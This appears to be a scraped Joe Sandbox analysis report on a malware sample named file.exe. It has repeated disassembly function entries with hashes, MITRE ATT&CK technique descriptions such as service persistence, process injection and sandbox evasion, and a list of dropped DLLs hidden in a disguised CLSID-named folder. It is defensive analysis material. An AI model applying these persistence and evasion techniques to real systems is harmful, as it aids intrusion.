Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CloseHandleService
String ID: [E] (%s) -> Service start failed(lpServiceName=%s,err=%08x)$scm_start
API String ID: 1725840886-2678404757
Opcode ID: 526a7844ee824464c7f5dda1b3fa2dfc5604c44a0c8f11cd960e1c284dbd8f0d
Instruction ID: 51e1ae6bcd8675548031878a5aa8f86b66e03570ebfecef0ff924ef84672693f
Opcode Fuzzy Hash: 526a7844ee824464c7f5dda1b3fa2dfc5604c44a0c8f11cd960e1c284dbd8f0d
Instruction Fuzzy Hash: B5F090B2F0C1A782FA335A30ED406F822106F03BA8F450135CC5EDB6B09DBCAC819382

Function 00007FFB22738061 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31serviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32 ref: 00007FFB2273810C

Strings

scm_start, xrefs: 00007FFB22737F33
[E] (%s) -> Service start failed(lpServiceName=%s,err=%08x), xrefs: 00007FFB22737F3A

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CloseHandleService
String ID: [E] (%s) -> Service start failed(lpServiceName=%s,err=%08x)$scm_start
API String ID: 1725840886-2678404757
Opcode ID: 052b3f7a116b45ceed3f32286ad25e0bde322c65dcf123356c38faf241316b1a
Instruction ID: 26ab2c6f80f977ea623589efed0b629f73c7f53cd6a8c358b6520fc164b39298
Opcode Fuzzy Hash: 052b3f7a116b45ceed3f32286ad25e0bde322c65dcf123356c38faf241316b1a
Instruction Fuzzy Hash: 03F012B2F0C59781FA775A34ED405B922506F03BA4F451134CD5ED76B09DBCAD419382

Function 00007FFB22735B95 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB22735C45

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

registry_set_value, xrefs: 00007FFB22735C5E
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FFB22735C65

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_set_value
API String ID: 1001908780-3542721600
Opcode ID: a828de9d4de61884459108732baba28d0de56727cdcedf63e20db0dff29f6152
Instruction ID: 14df7d4ee957f54eb6bda2c0bd8b8bb1c7e8ec2d4c4208a5333584e1fb6b1f1d
Opcode Fuzzy Hash: a828de9d4de61884459108732baba28d0de56727cdcedf63e20db0dff29f6152
Instruction Fuzzy Hash: 38E012D2B1C6CA41F553AB20FC400B96350EB96B95F444135DD0E865B19EACEE89E305

Function 00007FFB22735C26 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB22735C45

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

registry_set_value, xrefs: 00007FFB22735C5E
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FFB22735C65

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_set_value
API String ID: 1001908780-3542721600
Opcode ID: 481d060fc04bbc5fec821423f4238d49e749726e5889c284cfca1639315484e4
Instruction ID: beca215e79ee32387bfdb18264705f7944da947ef5c9f3e55823dc2527d6f0e5
Opcode Fuzzy Hash: 481d060fc04bbc5fec821423f4238d49e749726e5889c284cfca1639315484e4
Instruction Fuzzy Hash: 06E012D2B1C6C641F553AB20FC400B96354EB96B94F444135DD0E865B19EACEE89E306

Function 00007FFB22735C34 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB22735C45

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

registry_set_value, xrefs: 00007FFB22735C5E
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FFB22735C65

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_set_value
API String ID: 1001908780-3542721600
Opcode ID: e47297a8893ea21cdecfa720eb9367ccb093d0abb19c17bccbc8174874117dba
Instruction ID: bb501e32a6a549c409a69a0d4f13fce539a83b8a81ae1017f5d25feef43d3d78
Opcode Fuzzy Hash: e47297a8893ea21cdecfa720eb9367ccb093d0abb19c17bccbc8174874117dba
Instruction Fuzzy Hash: D3E012D2B1C6C641F553AB60FC401B96350EB96B94F444135DD0EC65B19EACEE89E305

Function 00007FFB22735C76 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB22735C45

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

registry_set_value, xrefs: 00007FFB22735C5E
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FFB22735C65

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_set_value
API String ID: 1001908780-3542721600
Opcode ID: c946c756a35d6430061bae648868228424b266cc6f3915f4760e4eac1fe5a461
Instruction ID: 58095023282220990cdb01672f4276a47aab9a5c4ae5ae3b22063d70da06f8eb
Opcode Fuzzy Hash: c946c756a35d6430061bae648868228424b266cc6f3915f4760e4eac1fe5a461
Instruction Fuzzy Hash: DFE012D2B1C6C641F553AB20FC400B96350EB86B94F444135DD4E865B19EACEEC9E305

Function 00007FFB22735B9F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB22735C45

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

registry_set_value, xrefs: 00007FFB22735C5E
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FFB22735C65

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_set_value
API String ID: 1001908780-3542721600
Opcode ID: a71f44405f3611459bc841544f7a580ad69077bf9f475503d8ffd6c45d9d9d01
Instruction ID: b7a0005ef753795748e3f5c311cdf5668547b22ffa820d91f32f00b6808f7869
Opcode Fuzzy Hash: a71f44405f3611459bc841544f7a580ad69077bf9f475503d8ffd6c45d9d9d01
Instruction Fuzzy Hash: 72E012D2B1C6C641F5536B20FC401B96350EB96B94F444135DD0D865B19EACEE89E305

Function 00007FFB22735898 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FFB227358B7

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FFB227358D7
registry_del_value, xrefs: 00007FFB227358D0

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_del_value
API String ID: 1001908780-1337547089
Opcode ID: aa78d82be79eb22537591a4ef03cf34fbd51db42a935cfbbda7e58d2f13827a2
Instruction ID: 6f73c72b509c7053fe34a4e58da52ba0067f7486a2224aefa12ca1f7a4cdca9a
Opcode Fuzzy Hash: aa78d82be79eb22537591a4ef03cf34fbd51db42a935cfbbda7e58d2f13827a2
Instruction Fuzzy Hash: E0E012E1B0C68A81F5136B20FC000B57214FB45784F44013ADD4E866719EACEE85D241

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Tactics:	Credential Access, Discovery
Data Sources:	Command: Command Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat

C:\ProgramData\Microsoft\Windows\ClipSvc\tokens.dat.bak (copy)

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_main.exe_59e5c191145a7e657df69e5cbadfff4911e783_61e28721_6f9af734-4c60-48e2-acda-bfa67bc7699e\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5D84.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5EBE.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5EEE.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5EFB.tmp.csv

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5F4A.tmp.txt

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\95cRhCj4pPDP.acl

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\config.ini

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p.conf

Windows Analysis Report
file.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
